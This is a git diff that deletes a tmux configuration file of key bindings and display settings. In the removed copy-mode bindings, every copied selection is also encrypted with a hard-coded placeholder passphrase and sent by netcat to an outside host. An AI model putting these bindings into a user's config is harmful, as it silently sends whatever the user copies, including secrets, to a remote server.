diff options
Diffstat (limited to 'mac/tmux.conf')
| -rw-r--r-- | mac/tmux.conf | 38 |
1 files changed, 0 insertions, 38 deletions
diff --git a/mac/tmux.conf b/mac/tmux.conf deleted file mode 100644 index bd89157..0000000 --- a/mac/tmux.conf +++ /dev/null | |||
| @@ -1,38 +0,0 @@ | |||
| 1 | # Ctrl-b f: prompt for text, list windows whose name, pane title or pane contents match; Enter jumps | ||
| 2 | # Ctrl-b w: tree of every window in every session; press f inside it to filter by name, Enter jumps | ||
| 3 | # Ctrl-b s: tree of sessions (same tree, session view) | ||
| 4 | # Ctrl-b p: go to the previous window (lower index, wraps); Ctrl-b n goes to the next one | ||
| 5 | # | ||
| 6 | # Vi mode for copy | ||
| 7 | setw -g mode-keys vi | ||
| 8 | |||
| 9 | # Mouse selection | ||
| 10 | set -g mouse on | ||
| 11 | |||
| 12 | # Persistent pane index labels (top-left of each pane's border) | ||
| 13 | set -g pane-border-status top | ||
| 14 | set -g pane-border-format "#P" | ||
| 15 | |||
| 16 | # Explicitly swap current pane with a pane index you type in | ||
| 17 | bind-key P command-prompt -p "swap with pane #:" "swap-pane -d -t '%%'" | ||
| 18 | # Manual: :swap-pane -s <src> -t <dst> | ||
| 19 | |||
| 20 | # Vim-style pane resizing (prefix + H/J/K/L), magnitude 1 | ||
| 21 | bind -r H resize-pane -L 1 | ||
| 22 | bind -r J resize-pane -D 1 | ||
| 23 | bind -r K resize-pane -U 1 | ||
| 24 | bind -r L resize-pane -R 1 | ||
| 25 | |||
| 26 | # v to start selection, y to yank (like vim) | ||
| 27 | bind-key -T copy-mode-vi v send-keys -X begin-selection | ||
| 28 | # macOS: pbcopy. Linux: wl-copy/xclip when usable, else just drain (tmux's own | ||
| 29 | # buffer + set-clipboard/OSC 52 still apply). Netcat send is the same on both. | ||
| 30 | if-shell 'uname | grep -q Darwin' { | ||
| 31 | bind-key -T copy-mode-vi y send-keys -X copy-pipe-no-clear "bash -c 'tee >(pbcopy) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 32 | bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-no-clear "bash -c 'tee >(pbcopy) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 33 | bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-no-clear "bash -c 'tee >(pbcopy) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 34 | } { | ||
| 35 | bind-key -T copy-mode-vi y send-keys -X copy-pipe-no-clear "bash -c 'tee >(wl-copy 2>/dev/null || xclip -selection clipboard 2>/dev/null || cat >/dev/null) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 36 | bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-no-clear "bash -c 'tee >(wl-copy 2>/dev/null || xclip -selection clipboard 2>/dev/null || cat >/dev/null) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 37 | bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-no-clear "bash -c 'tee >(wl-copy 2>/dev/null || xclip -selection clipboard 2>/dev/null || cat >/dev/null) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 38 | } | ||
